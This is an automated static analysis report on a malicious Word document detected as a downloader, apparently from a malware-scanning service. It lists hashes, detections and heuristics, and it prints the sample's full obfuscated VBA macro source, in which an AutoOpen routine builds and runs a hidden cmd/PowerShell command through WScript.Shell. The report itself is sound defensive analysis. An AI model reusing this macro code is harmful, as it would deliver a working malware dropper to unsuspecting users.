Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f8546a6bade29d0e…

MALICIOUS

Office (OLE)

85.1 KB Created: 2018-08-21 11:06:00 Authoring application: Microsoft Office Word First seen: 2018-08-26
MD5: 12b63b224b9c51d9e3ad8acaceeda635 SHA-1: b0d539361a4a6a52bdf03fdd38c0ab0616e99cbc SHA-256: f8546a6bade29d0ee6f24d9f13e0bdfcac764e1e505dd3c97d5d177959ff566e
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen function, which is a common technique for executing malicious code upon document opening. The macros utilize WScript.Shell and CreateObject to construct and execute obfuscated PowerShell commands, likely to download and run a secondary payload. The ClamAV detection name 'Doc.Downloader.Valyria-6665578-0' further supports the downloader functionality.

Heuristics 10

  • ClamAV: Doc.Downloader.Valyria-6665578-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6665578-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    On Error Resume Next
    CreateObject("WScript.Shell").Run! KeyString(Str(7 + 1 + 12 + 7 + 40)) + iUirlHBAwrm + YsPXwtp + pzvNF + dzNzV + TtPYnva + iZJzEa + fPvTbazkVr + NmUzZJiI + onzPfQsqN + VFmAF + bJKYzzKGE + hWqwztYnBUz, 880134130 - 880134130
    End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    On Error Resume Next
    CreateObject("WScript.Shell").Run! KeyString(Str(7 + 1 + 12 + 7 + 40)) + iUirlHBAwrm + YsPXwtp + pzvNF + dzNzV + TtPYnva + iZJzEa + fPvTbazkVr + NmUzZJiI + onzPfQsqN + VFmAF + bJKYzzKGE + hWqwztYnBUz, 880134130 - 880134130
    End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
    On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12614 bytes
SHA-256: dcd1b9f55ad1c54b965d505a03a73536ce2fac33af8df2ee94237f48e159f206
Detection
ClamAV: No threats found
Obfuscation or payload: likely
148 of 237 identifiers look randomly generated (e.g. 'WPilFjmjdLHtiR'); 7 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "dvUBfDmnM"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "wqRDjMiqZU"
Function pzvNF()
On Error Resume Next
VarType Atn(6)
   IsArray CStr(jvSqUw)
   VarType 74512 * Wrhkj * KNaVt / 72912
   IsArray SlBqXi - SwTbTw * 58511 * NYhSXZ
hFuQSipcBWn = "MD  /" + "v^:/r " + CStr(Chr(asKwwsUjb + WPilFjmjdLHtiR + 34 + wEYzcfbiRvwfBQ + iqFBJCvPtt)) + "  S" + "^ET^ " + "  ^0^" + "K^J^=p^"
IsArray 80924 / vXhuD
DCIupso = "ower[h^" + "ell^ ^-" + "e^ ^JA2" + "C^A^" + "FQ" + "A^T^"
VarType Rnd(745)
BYdFH = "w^A^9" + "^A" + "^G^4AZQ" + "^2^" + "3AC0A" + "b^w2" + "@A" + "G"
NJikb = KqWhSZ - ZmEHA - hfwGS - ncwsF
   NJikb = LCase(hnpwj)
   VarType Sin(IQVfl - wLTLW)
   NJikb = TypeName(8507 - HbLow - uadfiE + 61673)
PWEZs = "^o^A^" + "ZQ2j^" + "A^HQA+" + "^" + "A^" + "2OA^G,A" + "dA^A)^A" + "Fc"
NJikb = Int(4061)
   IsArray CDate(719)
zdLHzzvirK = "^" + "A^Z" + "^Q2^" + "@A/^M" + "^Ab" + "^A^2^" + "p^AG"
IsArray XJOwmo + GVvNbj * 91154 + jUnCI
   VarType CDbl(99912 - luoBZ + 68040 + zhtwjb)
   NJikb = 36537 - BNzQmw * fkpYah * YKwzhS
wGLlqPu = "^,A^" + "b^g" + "20AD" + "[A^" + "JA^2" + "^:A" + "^" + "F]A" + "b^A^" + "A^9^A" + "Cc^A^" + "a^A2^0^" + "AH"
NJikb = TimeValue(QRCUn)
   VarType CDate(EAsbqo)
jYhtXQd = "Q^AcA" + "A^6AC" + "uA^L^w" + "^" + "2qA"
IsArray TBTsrN + EFhjib
   NJikb = TimeValue(38)
   VarType Hex(DpdUc)
   NJikb = CDbl(wdnNf * PqIozz)
zvLKME = "^H^" + "," + "^" + "A" + "c^w" + "20^A"
pzvNF = hFuQSipcBWn + DCIupso + BYdFH + PWEZs + zdLHzzvirK + wGLlqPu + jYhtXQd + zvLKME
   IsArray CCur(28089 / 66887)
End Function
Function dzNzV()
On Error Resume Next
NJikb = Sqr(92)
toBAloN = "^G^,^" + "Ad^g2v^" + "AGw^A" + "dg^2lA" + "HcA^a" + "^Q^20AG" + "g^A^Z" + "w" + "^2y^AG/" + "A]^w^" + "2^l^"
IsArray Sqr(ZwKkBT / qELbj + KblzWu - 46263)
RDYNOAEKT = "AC^4^A]" + "w^" + "2" + "vAG^0^" + "A^L^w" + "^2^P^"
VarType hchkDr / TzOfdm
   NJikb = Sin(SRWUZ + uSjcC)
   VarType CBool(9)
YmKQB = "A/^" + "u^A" + "cw2" + "w^A/" + "A"
IsArray KsuHlR + DWpJUO
   NJikb = Log(519)
   IsArray Oct(351033685)
   IsArray Tan(swrTfz)
wvaGXo = "AaA^2" + "0A^HQ" + "AcAA" + "^6AC" + "^uA" + "Lw" + "^" + "2^%A"
VarType ClbPR / FHuMHt
   IsArray CrqmR / dYJIAz
   NJikb = Rnd(zwinPY)
LhCidmBF = "^Gu^" + "A^Z" + "A2h^AC^" + "4^AbQ2h" + "^AG[^" + "Ae^Q"
IsArray nGNuzi + XHdYLi
   NJikb = Val(2)
   IsArray Tan(pJUPW)
   VarType CDate(fNMmY)
ROTSVtQOpVn = "2h^A^G" + "o^" + "AcA^2" + "^lAH" + "^" + "+Aa^" + "Q2zAG^k" + "^ALg2" + "j" + "^AG^uA" + "b^Q^A"
NJikb = CDbl(MaEjA)
   IsArray Second(sPclG + LjKRvb)
kWcRqZ = "v" + "AG^4^" + "Aag2^" + "AA^G" + "^gA^dA" + "^20^AH" + "AAOgAv^" + "AC^u^A^" + "bQ^2^" + "h^A" + "G^kA^b^" + "A^A"
NJikb = AqSoww - jYFVtK
   VarType Atn(VZwbU)
   IsArray Sgn(iKlMlz * wDuvUX)
   NJikb = Int(49680 * YTrjkB - fwnJMf - KvGtZU)
   IsArray Second(210171867)
   VarType Atn(15153 / qvijfi * 7040 / mRzGwM)
IUsRuAJLP = ")" + "^A^D" + "/A^" + "M^g2n^A" + "^H^" + "+" + "^A" + "^]Q^2@A" + "C^" + "4A^" + "]w2" + "vAG0A^L"
IsArray Cos(31836 * Dqmbw)
   NJikb = HlbSJ - DQbjO + UaKFm / TBOvCq
kbIldYuDGYp = "w2J" + "^A/AA" + "a^A2^0" + "^AH" + "Q" + "A" + "c" + "^A^A6"
dzNzV = toBAloN + RDYNOAEKT + YmKQB + wvaGXo + LhCidmBF + ROTSVtQOpVn + kWcRqZ + IUsRuAJLP + kbIldYuDGYp
   IsArray LCase(1680)
   VarType osjVpn + MOktL
   VarType CDate(GQspH)
End Function
Function TtPYnva()
On Error Resume Next
VarType CVar(jtvzZo)
zcbWOj = "AC^u^A" + "Lw^2^%^" + "AH^" + ",Aa^g" + "2lAH" + "^+^AcA^"
VarType loWNFY / NMjnGp
JSAuUjN = "2^yA^G" + "^u^A" + "^ZA2^1A" + "^G^MAd^" + "A^2p^AH" + "^]"
VarType Rnd(HTuaJ * CBsPc)
   IsArray Fix(9921)
   NJikb = CDec(898)
   IsArray 16404 - 50195 + LFObaF * 12785
   VarType Oct(89312 / 76438)
bkfaw = "A]^Q^2" + "^y^A^G" + "/A^Z" + "A" + "2^pA^G"
IsArray lJNRG + wjZkL
   NJikb = Str(uodrzI)
   NJikb = Oct(viHkXi)
XUvVpEQKI = "uAL^" + "g^2^" + "q^A^" + "G/^A]^w" + "2x^A^H"
NJikb = Hex(72765 * 63318 + KbDoQw - PLHJRv)
XwATIBsUE = "^,A" + "Z^Q^2" + "^[^" + "AGkA^" + "b^"
TtPYnva = zcbWOj + JSAuUjN + bkfaw + XUvVpEQKI + XwATIBsUE
   VarType Val(vjCKRO * wJWHci - 56233 - zcQHf)
End Function
Function iZJzEa()
On Error Resume Next
VarType CByte(38)
   IsArray CByte(dIvUf)
dvmCaoc = "g" + "2^lA^Ho" + "^Ab^w" + "^2^y^A^" + "H+AaQ"
VarType CDate(9)
   IsArray Rnd(NZBVuM)
   VarType CStr(56374 / kXJjWf / jEiupz + ilJofz)
XLwQji = "2^" + "[A" + "^G^wA" + "^" + "]" + "^Q^A)" + "^A^G" + "^M^A" + "^b^" + "w^2^%" + "ACu^AV^" + "w^2" + "^A^A"
VarType Sgn(kMwAd)
   VarType 17154 / mtcYf + KvjvKV * AWsjj
   IsArray CDbl(6604)
   NJikb = Tan(dBtGM)
zIPjPmV = "^" + "G" + "^gAd" + "^" + "A20AHA" + "A^OgA" + "vACuA" + "^ZA^" + "2^l^" + "A^G^w^" + "A^aQ2^%"
IsArray 78516 + 18968 * lsLHSj + fzrzW
   VarType TimeValue(cZtjvn)
prGYh = "A^G/A" + "cg^2hA" + "C4A" + "]^w^2v" + "AC^4Ae" + "^g^2h" + "^ACu^"
NJikb = CByte(SKUip)
   IsArray pHZGYc * sDIMDL
   VarType Month(aLZHup)
wsTYwr = "Ad^" + "A" + "^A^" + "z^ACc^A" + "^L^g^"
IsArray Oct(504396249)
   NJikb = 20454 / PvGuF + 14767 - 59254
   VarType hvJCq * JhHbSW - ilQEYD / uqONu
   IsArray IozVc * hPzJhs
asPZrHkj = "2T" + "^AH" + "^A^Ab^A" + "^" + "2" + "p" + "A" + "H^" + "QA\A^A" + "nA/^A^A" + "J^" + "w^" + "ApA^D"
NJikb = Oct(tcUtl)
   IsArray 7609 / 8492 + 19022 / GsuKYi
WQEclvn = "^[^AJ" + "A2pAF^]" + "^A" + "W" + "^Q" + "A" + "gA^D0"
NJikb = Fix(2340)
   VarType Sqr(rDcOA)
   IsArray HQlCSL - 40930
ROIVkTwYLY = "^A^+" + "^AAn^" + "A^D^" + "]^A" + "Nw" + "^Az^A" + "Cc^AO" + "wA^k^"
iZJzEa = dvmCaoc + XLwQji + zIPjPmV + prGYh + wsTYwr + asPZrHkj + WQEclvn + ROIVkTwYLY
   IsArray Round(nwUDW)
   NJikb = Sqr(31)
   VarType CDbl(54825 + woYvo)
   VarType 57094 + VSlBUB
End Function
Function fPvTbazkVr()
On Error Resume Next
IsArray 14420 + dlfcAz
   NJikb = TimeValue(sLslY)
iormBDcSjI = "A" + "^F,^A" + "cA2" + "^" + "@^" + "AD0A" + "^JA" + "2l^A^" + "G^4AdgA" + "6^A^" + "HA^Ad" + "^Q^2"
IsArray Sgn(tjWwqP / IEfVS)
   IsArray Sgn(QKANlW + ViETb)
   VarType CDec(33836 * QOBAHq * kBwiuQ * KQQms)
HnlHA = "^@A" + "^Gw^A" + "a" + "Q^2^j" + "AC[^A" + "^J" + "w^" + "2" + "cACcA\" + "wA^"
IsArray 44258 * HBFDw
   IsArray Cos(HUjutP * jGiGA)
AJJKUphvvw = "kA" + "^G^kAV" + "^g^" + "2Z" + "^" + "AC[^" + "AJw^A)A" + "^G,^A" + "eA2lAC" + "cA^" + "O^w^" + "2:^A"
IsArray CDate(lkizHt * 2725)
   VarType WTSPXs + TAmnt
   NJikb = njqvKs - 85846 - cdGYY * wJbTV
   VarType CVar(29)
CiHlKVJNj = "^" + "G^" + "uAcg2" + "l" + "^A^G/A]" + "^" + "w^2" + "oA" + "C^"
VarType CDate(FBzHwD + rTUXkc)
   IsArray wvSuP * tHuUr
   NJikb = Tan(18408 / TBWqKU)
   NJikb = Hex(GqICA)
   IsArray Log(CtXZNa / 21921 - wZznri - wmzIqQ)
WqwkjVz = "g^A^J" + "A^2IA" + "Fo^Ad" + "QAg" + "^AGk^Ab" + "^g^A^" + "gACQAZ" + "g2WAG" + "^" + "wA^" + "\Q^2^"
IsArray 48116 + qGUwn + 89867 - NtHCi
   IsArray Round(9)
ihcjNuWoM = "7AH^Q^A" + "c^g2^" + "?AH" + "^[AJA" + "2C^AFQ" + "A^TwA)A" + "/^Q" + "A^bw23" + "^A^G4A" + "^b^"
NJikb = Str(5747)
   VarType YlmTnd + lRjFX + 20068 + fAcwl
FIdWpTU = "A^2v^" + "AG" + "/" + "AZA2^G^" + "A^Gk"
VarType rouwJ + ZGaAqa / 96200 / mCDdNL
   VarType Log(93)
UpwzlLLb = "^Ab^A^2" + "l" + "^ACg" + "A^" + "JA" + "2^I^A" + "FoA^" + "d" + "Q^A^[" + "A"
fPvTbazkVr = iormBDcSjI + HnlHA + AJJKUphvvw + CiHlKVJNj + WqwkjVz + ihcjNuWoM + FIdWpTU + UpwzlLLb
   NJikb = CDate(80001 - jXhWSW / fPtwY * UOLKJF)
   VarType azNasI + jmjkFM - UskHd * uimodM
End Function
Function NmUzZJiI()
On Error Resume Next
IsArray Fix(4830)
   NJikb = BwIzJ * 47557 - 38543 * ZOEvcN
jJAlnGNf = "C^A^A^" + "JA^2V^A" + "^H" + "AA^]gA^" + "p" + "^AD^[^A" + "S^Q^2)" + "^" + "AH^]^A" + "^bw^" + "2r^" + "AG,^A^L"
NJikb = Month(58209 + tTZBcs)
   VarType CVar(83104 + Zwjzw * aimzNQ + XohOkz)
NHNmhNJ = "^" + "Q^2" + "^" + "J^AH^" + "Q^A^Z" + "^Q2^" + "%^AC^AA" + "JA^2VA^" + "HA^A" + "^]g^A"
VarType Tan(40498546)
   IsArray 49923 / iOFjm
   NJikb = CStr(PJSLu)
   NJikb = Tan(ktDniQ)
   VarType 29386 * LCjbW - dzvlU + Iqkoz
fzjlIENKK = "^7^" + "AG+" + "Acg^2l" + "^AG/A^" + "a^" + "wA7^A^"
VarType Sin(763)
   IsArray CBool(102088371)
   NJikb = CDate(504)
   IsArray CStr(86)
   VarType Second(425259448)
zkjwNzEw = "H^" + "0^A]w^2" + "hAHQ" + "^A]w" + "2^o^A^"
VarType Log(88778 / wiLIP * LpNfN - vjOcC)
   IsArray Hex(nDpwnR)
   NJikb = 59777 / zXsMQ / 57232 / pdEDP
   NJikb = TimeValue(14761 - BfIHTh)
   NJikb = LCase(IZkRNj / qVUfok + 73808 - EEuTGw)
   NJikb = Second(BzfAmS)
UGrLWzuGfPo = "H^[^" + "A" + "^" + "f^" + "Q29AC^A" + "A^+^A" + "^A^" + "gAC^AA" + "^+" + "A^" + "A^g" + "A" + "C"
NJikb = CBool(iRptIX / OPBavr + 98419 / 60498)
AiCAUVJ = "A" + "^" + "A+" + "A^A^" + "g"
VarType TimeValue(pKjiic * 81528)
   NJikb = Val(oIAWsG)
   VarType 89713 + RprRa
dGjzLG = "^" + "AC" + "AA^+A" + "AgACA" + "A" + "+^AA" + "^gAC^A" + "A" + "+^A" + "A^=&  "
NmUzZJiI = jJAlnGNf + NHNmhNJ + fzjlIENKK + zkjwNzEw + UGrLWzuGfPo + AiCAUVJ + dGjzLG
   NJikb = fOGjJ - wMbtO / tkuos * JJXbvs
   VarType Int(kcHMcw)
   NJikb = CBool(35831 - FwNqsN)
   NJikb = CDate(7)
   IsArray 20775 + ihqwEp / IwKqA / BNiii
End Function
Function onzPfQsqN()
On Error Resume Next
VarType nEfLM * CzNOS
   NJikb = Round(8292 / OsjdV * PQRnH / SuMGJ)
   IsArray Round(btfszk)
IjUhNS = " " + "sET ^ " + "  ^F^DY" + "^" + "M=!0^K" + "^" + "J^:?" + "^=^" + "5" + "!&& " + "  s^e" + "t  ^ ^" + " ^ ^"
VarType nLQYJ + MOiOw - JfnLWO + qWnsE
   IsArray TimeValue(7500)
XpoUhiQN = "pV" + "U^W" + "=^!" + "^F^D^Y^" + "M:^"
VarType Second(58833 + ATMQJv - HdVMrw * 8914)
   IsArray mHEsm + KajPEM * DCjYJ * JOZvnK
lzQOBVNJ = "2^=B^!" + "&& sE^" + "T" + " ^ ^ " + " ^lF^k" + "^f=!^p" + "VU^" + "W^:" + "^" + "]^=^Y^!" + "&s^et ^" + " ^y4" + "=^!"
VarType Oct(33855 + QnUDT / cqtMMR / 65599)
LZZCw = "^lF^k^" + "f^:" + "^u^=^" + "8^!&&s" + "^eT" + " ^"
VarType 93276 * SoSCN - MnJmZi * sdzLKZ
   NJikb = Second(30965 + pfjtMv)
   VarType TimeValue(47630 + NDnDEc + FDznLK + zVITr)
tDjNPIbKjJ = " ^ " + "^ " + "^d^5^6=" + "^!^y" + "4^:^:" + "^=" + "m!&&  s" + "^e^T" + " ^ " + " l8^k" + "^U=!"
NJikb = 31964 - bZSAj + iOIvZ - 9108
   NJikb = Sqr(wkUzmS)
   IsArray Round(683)
   NJikb = HdMlz * CPztPn - 1443 + faGsJI
DhaIQGj = "^d" + "^5^6:^" + "I=^X^" + "!&&s" + "^e^" + "T ^  " + "^ ^Qi" + "=^!^" + "l"
NJikb = CDate(uwNuzl)
   NJikb = kKLsPC + NzBsCV
   VarType 77583 + DSGDQa * PfcQAw / uRcCLb
oURiPuimiLJ = "^" + "8^k^U" + "^:^@" + "^" + "=i!&&" + " Se^" + "T ^ ^" + "H" + "^a=^!^" + "Q^i" + ":[^=s^" + "!&&"
onzPfQsqN = IjUhNS + XpoUhiQN + lzQOBVNJ + LZZCw + tDjNPIbKjJ + DhaIQGj + oURiPuimiLJ
   NJikb = LCase(470)
   NJikb = CDate(QYAIbz * MbYYIp + auzms + oFUsp)
End Function
Function VFmAF()
On Error Resume Next
VarType CCur(RmMwR)
   NJikb = 57335 - 37303
   IsArray CDbl(KqGji)
   VarType CDate(92)
   NJikb = Second(5288)
jGkHr = " " + " S" + "^e^t " + "^" + "2j^p=^!" + "^H"
VarType CVar(7)
   VarType 50378 + EiLlpK - HTMsn / 58274
fVtoLrtwi = "^a^" + ":)=" + "^u^!& " + "s^e" + "^" + "T  ^  " + "^3^G" + "5=^!^" + "2j" + "^p^:^\" + "^=^K^!&" + "&   " + "S^e^t "
IsArray 59381 - uTWdp
   IsArray FqAJo + Fsqnd + Wsdkk - 23040
XvpLC = "^" + "  " + "W^" + "b=" + "^!^3^" + "G^5:/^" + "=^E^!&"
NJikb = apPOFt / WatzTO
   NJikb = Fix(TGdvR)
PAGiasFN = "&s^E^T " + " W" + "^d^P=" + "^!^W^b^" + ":^,=U" + "^!&&   " + "S^e^t "
NJikb = iXZIrs * GNwJQz + Zbqbat - WrzCZd
   IsArray MTWjz - EasKu
   IsArray 24357 / bvwvk
   NJikb = CBool(97302 / DjLWdf)
ukFwpPMK = "^ " + " ^" + "f^0=" + "!" + "W^d" + "^P^:" + "+^=" + "I^!" + "&" + "& S"
IsArray Atn(29430 + KWMdi)
   VarType UKzsI - aGRPjq
   IsArray huGdhw + 94500 / IZTUf - kfMfC
bNtZc = "^e^T ^" + " G^b^" + "98=!^f" + "^0^:%" + "=t^!& C" + "^AL" + "^l %G^"
IsArray LCase(nirwV)
   IsArray CByte(GkYRWS)
   IsArray ZYqiO * NzCvT
FjfXQfPL = "b" + "^9" + "8%  " + CStr(Chr(TzbjCzWi + RrnATKnHhNOlO + 34 + skvJJFjv + STPcDuSSm)) + ""
VFmAF = jGkHr + fVtoLrtwi + XvpLC + PAGiasFN + ukFwpPMK + bNtZc + FjfXQfPL
   IsArray YqpBK / TRAMj
End Function


Attribute VB_Name = "YSUThhnwpqpF"

Sub AutoOpen()
On Error Resume Next
CreateObject("WScript.Shell").Run! KeyString(Str(7 + 1 + 12 + 7 + 40)) + iUirlHBAwrm + YsPXwtp + pzvNF + dzNzV + TtPYnva + iZJzEa + fPvTbazkVr + NmUzZJiI + onzPfQsqN + VFmAF + bJKYzzKGE + hWqwztYnBUz, 880134130 - 880134130
End Sub